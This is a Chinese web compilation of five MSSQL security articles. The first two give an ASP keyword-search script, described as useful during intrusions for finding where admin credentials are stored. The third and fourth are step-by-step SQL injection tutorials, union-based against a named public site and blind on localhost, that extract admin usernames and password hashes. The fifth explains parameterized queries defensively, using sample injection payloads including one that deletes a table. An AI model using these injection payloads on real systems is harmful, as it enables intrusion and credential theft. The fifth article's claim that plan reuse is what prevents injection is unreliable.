Mssql 逆向查询脚本安全
“qweewwe”通过精心收集,向本站投稿了5篇Mssql 逆向查询脚本安全,以下是小编整理后的Mssql 逆向查询脚本安全,希望能够帮助到大家。
篇1:Mssql 逆向查询脚本安全
作者:oldjun & 皇子
非常不幸,拿到一个库,里面有几百张表,而且很多表都有N多字段,不想一个一个去手工探测有用的表和字段,写了点SQL语句,在oldjun帮忙下有了这个脚本,作用是使用一个关键字作为搜索条件,然后遍历整个数据库,回显该关键字在库中所有位置,即所处表名与列。
直接给出代码:
Sql逆向查询
<%
'Search a keyword from each column in each table of a database
'By oldjun(www.oldjun.com)
'Based on huangzi(www.2chuizi.com)'s sql
'Respect for the author's work
Server.ScriptTimeout=999999999
Response.Buffer =true
On Error Resume Next
keyword=request(“keyword”)
if keyword=“” then
response.write “Need keyword!”
response.End
End if
dim conn
Set conn = Server.CreateObject(“ADODB.Connection”)
Dim ConnStr
'ConnectionString,Pls change!
ConnStr=“Driver={SQL SERVER};Server=localhost;UID=bbs;PWD=bbs123456789;Database=syc163”
Conn.open ConnStr
conn.execute(“DROP TABLE huangzi_table”)
conn.execute(“CREATE TABLE huangzi_table(id int identity(1,1),biaoid int,biaoname nvarchar(1000))”)
conn.execute(“insert huangzi_table select [id],[name] from sysobjects where xtype='U'”)
set rs =conn.execute(“select count(id) as tnum from huangzi_table”)
tnum=rs(“tnum”)
rs.close
set rs=nothing
for i=1 to tnum
set rsbiao =conn.execute(“select biaoid from huangzi_table where id=”&i&“”)
biaoid=rsbiao(“biaoid”)
set rst =conn.execute(“select [biaoname] from huangzi_table where biaoid=”&biaoid&“”)
tname=rst(“biaoname”)
set rsl=conn.execute(“select count([name]) as lnum from syscolumns where id=”&biaoid&“”)
lnum=rsl(“lnum”)
for j=1 to lnum
topnum=j-1
set rslie=conn.execute(“select top 1 [name] from syscolumns where id=”&biaoid&“ and [name] not in (select top ”&topnum&“ [name] from syscolumns where id=”&biaoid&“)”)
liename=rslie(“name”)
set rsresult=conn.execute(“select top 1 [”&liename&“] from [”&tname&“] where CAST([”&liename&“] AS NVARCHAR(1000))='”&keyword&“'”)
if rsresult.bof or rsresult.eof then
'response.write “Nothing-”&tname&“:”&liename
'response.write “
”
else
result=rsresult(liename)
response.write “表名:”&tname&“ 列名:”&liename& “ 存在关键字 [” &keyword&“]”
response.write “
”
End if
rslie.close
set rslie=nothing
rsresult.close
set rsresult=nothing
next
rsbiao.close
set rsbiao=nothing
rst.close
set rst=nothing
rsl.close
set rsl=nothing
next
conn.execute(“DROP TABLE huangzi_table”)
%>
篇2:查询某关键词在MSSQL数据库位置的ASP脚本脚本安全
一段SQL语句,功能是:以一个关键字为索引,搜索整个数据库,然后返回那个关键字所在的表名和列名,(很赞...特别是入侵的时候找不到用户名与密码所在的表的时候,如果能直接通过输入admin这个关键词找出字段...省得一个表一个表的看了。)于是根据那段语句,写了个asp的脚本,方便大家以后搜寻数据库。
整体而言,这段SQL只适宜用在小型数据库上,asp中的循环也没效率,大库还是别用了,小库可以考虑。如果是大库的话,请联系皇子要另外一份牛人写的SQL查询语句。
代码如下:
<%
'Confirm a keyword's position of a database(which table & which column)
'By oldjun(www.oldjun.com)
'Based on huangzi(www.2chuizi.com)'s sql
Server.ScriptTimeout=999999999
Response.Buffer =true
On Error Resume Next
keyword=request(“keyword”)
if keyword=“” then
response.write “Need keyword!”
response.End
End if
dim conn
Set conn = Server.CreateObject(“ADODB.Connection”)
Dim ConnStr
'ConnectionString,Pls change!
ConnStr=“Driver={SQL SERVER};Server=localhost;UID=sa;PWD=sa;Database=master”
Conn.open ConnStr
conn.execute(“CREATE TABLE huangzi_table(id int identity(1,1),biaoid int,biaoname nvarchar(1000))”)
conn.execute(“insert huangzi_table select [id],[name] from sysobjects where xtype='U'”)
set rs =conn.execute(“select count(id) as tnum from huangzi_table”)
tnum=rs(“tnum”)
rs.close
set rs=nothing
for i=1 to tnum
set rsbiao =conn.execute(“select biaoid from huangzi_table where id=”&i&“”)
biaoid=rsbiao(“biaoid”)
set rst =conn.execute(“select [biaoname] from huangzi_table where biaoid=”&biaoid&“”)
tname=rst(“biaoname”)
set rsl=conn.execute(“select count([name]) as lnum from syscolumns where id=”&biaoid&“”)
lnum=rsl(“lnum”)
for j=1 to lnum
topnum=j-1
set rslie=conn.execute(“select top 1 [name] from syscolumns where id=”&biaoid&“ and [name] not in
(select top ”&topnum&“ [name] from syscolumns where id=”&biaoid&“)”)
liename=rslie(“name”)
set rsresult=conn.execute(“select top 1 [”&liename&“] from [”&tname&“] where CAST([”&liename&“] AS NVARCHAR(1000))='”&keyword&“'”)
if rsresult.bof or rsresult.eof then
'response.write “Nothing-”&tname&“:”&liename
'response.write “
”
else
result=rsresult(liename)
response.write result&“(”&tname&“:”&liename&“)”
response.write “
”
End if
rslie.close
set rslie=nothing
rsresult.close
set rsresult=nothing
next
rsbiao.close
set rsbiao=nothing
rst.close
set rst=nothing
rsl.close
set rsl=nothing
next
conn.execute(“DROP TABLE huangzi_table”)
%>
注:效率很差,使用时可能出现假死, 请耐心等待,大库还是别用了;代码简单,实现的简单功能,没技术含量,留着以后备用;换连接语句的时候有个缓存问题,建议重启下浏览器!
篇3:注入笔记联合查询脚本安全
学习了如何判断注入点,那么这章就要学到真正能获取敏感信息的语句了,这一章我们要学习最简单的联合查询语句,
名词解释:
联合查询:通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询
注入一个网站时我们先要判断是否存在注入点,我们先来判断一下。
为了显示的更简洁明了我把空格替换为+号,因为当我们在提交后url会把空格转换为%20
先用 and 1=1 和 and 1=2 查询是否判断注入点,
www.lanxum.com/special.asp?id=198+and+1=1返回正常
www.lanxum.com/special.asp?id=198+and+1=2返回错误
说明存在注入点。
下面我们就要用到order by语句来查询数据库中存在多少数据表
比方说数据库中有10个表,那么order by 10就会返回正常 如果我们去查询是否存在11个表,那很明显数据库中没有11个表,当然会返回错误。
这里我查询到此站数据库中存在19个数据表,
order by 19返回正常
order by 20返回错误
确定数据库中存在19个表,那么下面我们就要查询敏感表信息了。比方说管理员表,一般为admin,user等,这里就要大家经常去收集了。
查询存在表用到的语句为and 1=2 union select 1,2,3,4,5,6,7,8,9 from 表名,当然这里后面为数字类型
如果为字符类型就要改为' and '1'='2 union select 1,2,3,4,5,6,7,8,9 from 表名
union 为联合的意思 select为查询的意思,大家可以直接用英语翻译单词,这样容易我们理解,
这里我们输入:www.lanxum.com/special.asp?id=198+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin
返回:
这里的一些位置出现了数字,这说明存在admin表。这些数字对应的是地址栏select后面对应一次的数字。
如果我们查询的表不存在则会返回错误页面。
我么查询下user表:www.lanxum.com/special.asp?id=198+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+user
返回:
返回了错误,说明不存在user表。
下面我们就要来猜指定表段内的内容了。用法直接在返回页面对应的数字内输入我们想猜测的字段名就OK。
这里我猜admin表中name字段。
www.lanxum.com/special.asp?id=198+and+1=2+union+select+1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin
在2位置替换为name,返回了用户名,说明存在name字段,得到的用户名只是第一条数据内容,我们在来查询pass字段。
www.lanxum.com/special.asp?id=198+and+1=2+union+select+1,name,3,4,5,6,pass,8,9,10,11,12,13,14,15,16,17,18,19+from+admin
返回了16位md5加密的密码,当然了这里我早已测试好了字段与表段的名称所以一下就会猜出来,如果管理员把表段与字段名字改的很复杂,那么我们很可能猜不到。
好了联合查询就到这里吧
篇4:注入笔记半猜解查询脚本安全
学了联合查询,只能说确实很强大,那么联合查询是不是有注入点就能使用呢?答案是否定的,什么?不信?那么我来给大家找个站演示下。
这里本机搭建环境,先访问一个带参数的页面,测试是否存在注入点。
localhost:/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='1 返回正常
localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2 返回错误
因为是字符型所以用' and '1'='1 和' and '1'=2来判断是否存在注入点。
在用order by来监测下长度。localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包+order+by+1 报错,很明显不可能,难道是字符型的注入不行?那么我们来找个数字型的。
找到数字型注入,长度为16,localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+order+by+16
16返回正常
17返回错误
那么用联合查询查询一下,这里已知道管理表名与字段。管理表名:Manage_User,字段:username,password
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+Manage_User 很郁闷,界面里显示12,不懂,那么在1和二中换下字段名看下吧。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+1=2+union+select+username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+Manage_User 还是返回12,彻底郁闷了,小菜不解。继续换回字符界面输入localhost:2008/chanpin.asp?bigclassname=产品介绍&smallclassname=宠物包'+and+'1'='2+union+select+username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+Manage_User
可是还是没有显示用户名及密码。如图:
这就郁闷喽,如果只会联合查询,那么我们就拿不下这站点了。
可是手工注入中还有一个半猜解查询,我们用半猜解查询来试试。
判断是否存在注入点也是用and 1=1和and1=2或字符型' and '1'='1和' and '1'='2
半猜解查询和联合查询不同,半猜解查询要先要查询是否存在某个表。
语句: and 0(select count(*) from admin) ---判断是否存在admin这张表
或 and (select count(*) from admin)>0
本人比较喜欢用后面那句,检测如何存在猜解表则返回正确,如果不存在则报错。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+count(*)+from+manage_user)>0 返回正常,说明存在manage_user表。
下面我们来判断下manage_user表存在几条内容。
语句:and 0<(select count(*) from admin)
或 and (select count(*) from admin)>0
语句说明,查询admin表中所有数据是否大于0,如果大于则成立,如果小于则不成立,
当然了,这里一般都是存在数据的,所以必然大于零。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+count(*)+from+manage_user)>0
大于零返回正常,大于一返回错误,那么说明只存在一条数据。
下面就要来猜解字段名称,为以后拿到用户名密码做准备。
语句:and (select top 1 len(admin_user) from admin)>0
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+top%201%20len(username)+from+manage_user)>0 返回正常。存在username字段。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+top%201%20len(password)+from+manage_user)>0 返回正常,存在password字段。
当然了,前面我们早已经知道了,如果不知道还得慢慢猜,这里也是一样,存在返回正常,不存在返回错误,和写作业一样,如果老师出的题对了猜会给你一个对号。
下面就要来猜解指定字段内容长度了
语句:and (select top 1 len(admin_user) from admin)>0
这里建议大家从>3开始试验,因为很少有1位或2位的用户名,除非是汉字,
这里我猜解到长度为:5,这里我分别使用大于和等于两个来判断的。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+top%201%20len(username)+from+manage_user)>4 大于4,返回正常
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+(select+top%201%20len(username)+from+manage_user)=5 等于5,返回正常
大于4且等于5那么长度当然为5拉
猜解内容
and 1=(select top 1 count(*) from admin where Asc(mid (username,1))=97)
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+1=(select+top+1+count(*)+from+manage_user+where+Asc(mid+(username,1))=97)返回正常
说明第一位的asc码为97,转换过来为a,之后逐个猜解。
localhost:2008/content.asp?bigclassname=产品介绍&smallclassname=经理夹、书夹&articleid=361+and+1=(select+top+1+count(*)+from+manage_user+where+Asc(mid+(username,1))=100)返回正常
结果为D,
最后猜解到用户名为:admin 密码的猜解只要把+and+1=(select+top+1+count(*)+from+manage_user+where+Asc(mid+(username,1))=100) mid后面的username换成password在逐个猜解就OK。
好了就到这里吧,这也是入门篇的最后一章,下一节课我们就要进入提高部分了。
篇5:参数化查询为什么能够防止SQL注入脚本安全
很多人都知道SQL注入,也知道SQL参数化查询可以防止SQL注入,可为什么能防止注入却并不是很多人都知道的,
本文主要讲述的是这个问题,也许你在部分文章中看到过这块内容,当然了看看也无妨。
首先:我们要了解SQL收到一个指令后所做的事情:
具体细节可以查看文章:Sql Server 编译、重编译与执行计划重用原理
在这里,我简单的表示为: 收到指令 ->编译SQL生成执行计划 ->选择执行计划 ->执行执行计划。
具体可能有点不一样,但大致的步骤如上所示。
接着我们来分析为什么拼接SQL 字符串会导致SQL注入的风险呢?
首先创建一张表Users:
CREATE TABLE [dbo].[Users]([Id] [uniqueidentifier] NOT NULL,[UserId] [int] NOT NULL,[UserName] [varchar](50) NULL,[Password] [varchar](50) NOT NULL,CONSTRAINT [PK_Users] PRIMARY KEY CLUSTERED([Id] ASC)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]) ON [PRIMARY]
插入一些数据:
INSERT INTO [Test].[dbo].[Users]([Id],[UserId],[UserName],[Password])VALUES (NEWID(),1,'name1','pwd1');INSERT INTO [Test].[dbo].[Users]([Id],[UserId],[UserName],[Password])VALUES (NEWID(),2,'name2','pwd2');INSERT INTO [Test].[dbo].[Users]([Id],[UserId],[UserName],[Password])VALUES (NEWID(),3,'name3','pwd3');INSERT INTO [Test].[dbo].[Users]([Id],[UserId],[UserName],[Password])VALUES (NEWID(),4,'name4','pwd4');INSERT INTO [Test].[dbo].[Users]([Id],[UserId],[UserName],[Password])VALUES (NEWID(),5,'name5','pwd5');
假设我们有个用户登录的页面,代码如下:
验证用户登录的sql 如下:
select COUNT(*) from Users where Password = 'a' and UserName = 'b'
这段代码返回Password 和UserName都匹配的用户数量,如果大于1的话,那么就代表用户存在。
本文不讨论SQL 中的密码策略,也不讨论代码规范,主要是讲为什么能够防止SQL注入
,请一些同学不要纠结与某些代码,或者和SQL注入无关的主题。可以看到执行结果:
这个是SQL profile 跟踪的SQL 语句。
注入的代码如下:
select COUNT(*) from Users where Password = 'a' and UserName = 'b' or 1=1—'
这里有人将UserName设置为了 “b' or 1=1 –”.
实际执行的SQL就变成了如下:
可以很明显的看到SQL注入成功了。
很多人都知道参数化查询可以避免上面出现的注入问题,比如下面的代码:
class Program{private static string connectionString = “Data Source=.;Initial Catalog=Test;Integrated Security=True”;static void Main(string[] args){Login(“b”, “a”);Login(“b' or 1=1--”, “a”);}private static void Login(string userName, string password){using (SqlConnection conn = new SqlConnection(connectionString)){conn.Open();SqlCommand comm = new SqlCommand();comm.Connection = conn;//为每一条数据添加一个参数comm.CommandText = “select COUNT(*) from Users where Password = @Password and UserName = @UserName”;comm.Parameters.AddRange(new SqlParameter[]{new SqlParameter(“@Password”, SqlDbType.VarChar) { Value = password},new SqlParameter(“@UserName”, SqlDbType.VarChar) { Value = userName},});comm.ExecuteNonQuery();}}}
实际执行的SQL 如下所示:
exec sp_executesql N'select COUNT(*) from Users where Password = @Password and UserName = @UserName',N'@Password varchar(1),@UserName varchar(1)',@Password='a',@UserName='b'exec sp_executesql N'select COUNT(*) from Users where Password = @Password and UserName = @UserName',N'@Password varchar(1),@UserName varchar(11)',@Password='a',@UserName='b'' or 1=1—'
可以看到参数化查询主要做了这些事情:
1:参数过滤,可以看到 @UserName='b'' or 1=1—'
2:执行计划重用
因为执行计划被重用,所以可以防止SQL注入,
首先分析SQL注入的本质,
用户写了一段SQL 用来表示查找密码是a的,用户名是b的所有用户的数量。
通过注入SQL,这段SQL现在表示的含义是查找(密码是a的,并且用户名是b的,) 或者1=1 的所有用户的数量。
可以看到SQL的语意发生了改变,为什么发生了改变呢?,因为没有重用以前的执行计划,因为对注入后的SQL语句重新进行了编译,因为重新执行了语法解析。所以要保证SQL语义不变,即我想要表达SQL就是我想表达的意思,不是别的注入后的意思,就应该重用执行计划。
如果不能够重用执行计划,那么就有SQL注入的风险,因为SQL的语意有可能会变化,所表达的查询就可能变化。
在SQL Server 中查询执行计划可以使用下面的脚本:
DBCC FreeProccacheselect total_elapsed_time / execution_count 平均时间,total_logical_reads/execution_count 逻辑读,usecounts 重用次数,SUBSTRING(d.text, (statement_start_offset/2) + 1,((CASE statement_end_offsetWHEN -1 THEN DATALENGTH(text)ELSE statement_end_offset END- statement_start_offset)/2) + 1) 语句执行 from sys.dm_exec_cached_plans across apply sys.dm_exec_query_plan(a.plan_handle) c,sys.dm_exec_query_stats bcross apply sys.dm_exec_sql_text(b.sql_handle) d--where a.plan_handle=b.plan_handle and total_logical_reads/execution_count>4000ORDER BY total_elapsed_time / execution_count DESC;
有篇文章: Sql Server参数化查询之where in和like实现详解在这篇文章中有这么一段:
这里作者有一句话:”不过这种写法和直接拼SQL执行没啥实质性的区别”
任何拼接SQL的方式都有SQL注入的风险,所以如果没有实质性的区别的话,那么使用exec 动态执行SQL是不能防止SQL注入的。
比如下面的代码:
private static void TestMethod(){using (SqlConnection conn = new SqlConnection(connectionString)){conn.Open();SqlCommand comm = new SqlCommand();comm.Connection = conn;//使用exec动态执行SQL//实际执行的查询计划为(@UserID varchar(max))select * from Users(nolock) where UserID in (1,2,3,4)//不是预期的(@UserID varchar(max))exec('select * from Users(nolock) where UserID in ('+@UserID+')')comm.CommandText = “exec('select * from Users(nolock) where UserID in ('+@UserID+')')”;comm.Parameters.Add(new SqlParameter(“@UserID”, SqlDbType.VarChar, -1) { Value = “1,2,3,4” });//comm.Parameters.Add(new SqlParameter(“@UserID”, SqlDbType.VarChar, -1) { Value = “1,2,3,4); delete from Users;--” });comm.ExecuteNonQuery();}}
执行的SQL 如下:
exec sp_executesql N'exec(''select * from Users(nolock) where UserID in (''+@UserID+'')'')',N'@UserID varchar(max) ',@UserID='1,2,3,4'
可以看到SQL语句并没有参数化查询。
如果你将UserID设置为”
1,2,3,4); delete from Users;—-
”,那么执行的SQL就是下面这样:
exec sp_executesql N'exec(''select * from Users(nolock) where UserID in (''+@UserID+'')'')',N'@UserID varchar(max) ',@UserID='1,2,3,4); delete from Users;--'
不要以为加了个@UserID 就代表能够防止SQL注入,实际执行的SQL 如下:
任何动态的执行SQL 都有注入的风险,因为动态意味着不重用执行计划,而如果不重用执行计划的话,那么就基本上无法保证你写的SQL所表示的意思就是你要表达的意思。
这就好像小时候的填空题,查找密码是(____) 并且用户名是(____)的用户。
不管你填的是什么值,我所表达的就是这个意思。
最后再总结一句:因为参数化查询可以重用执行计划,并且如果重用执行计划的话,SQL所要表达的语义就不会变化,所以就可以防止SQL注入,如果不能重用执行计划,就有可能出现SQL注入,存储过程也是一样的道理,因为可以重用执行计划。
原文链接:www.cnblogs.com/LoveJenny/archive/2013/01/15/2860553.html
【Mssql 逆向查询脚本安全】相关文章:
6.脚本范文






文档为doc格式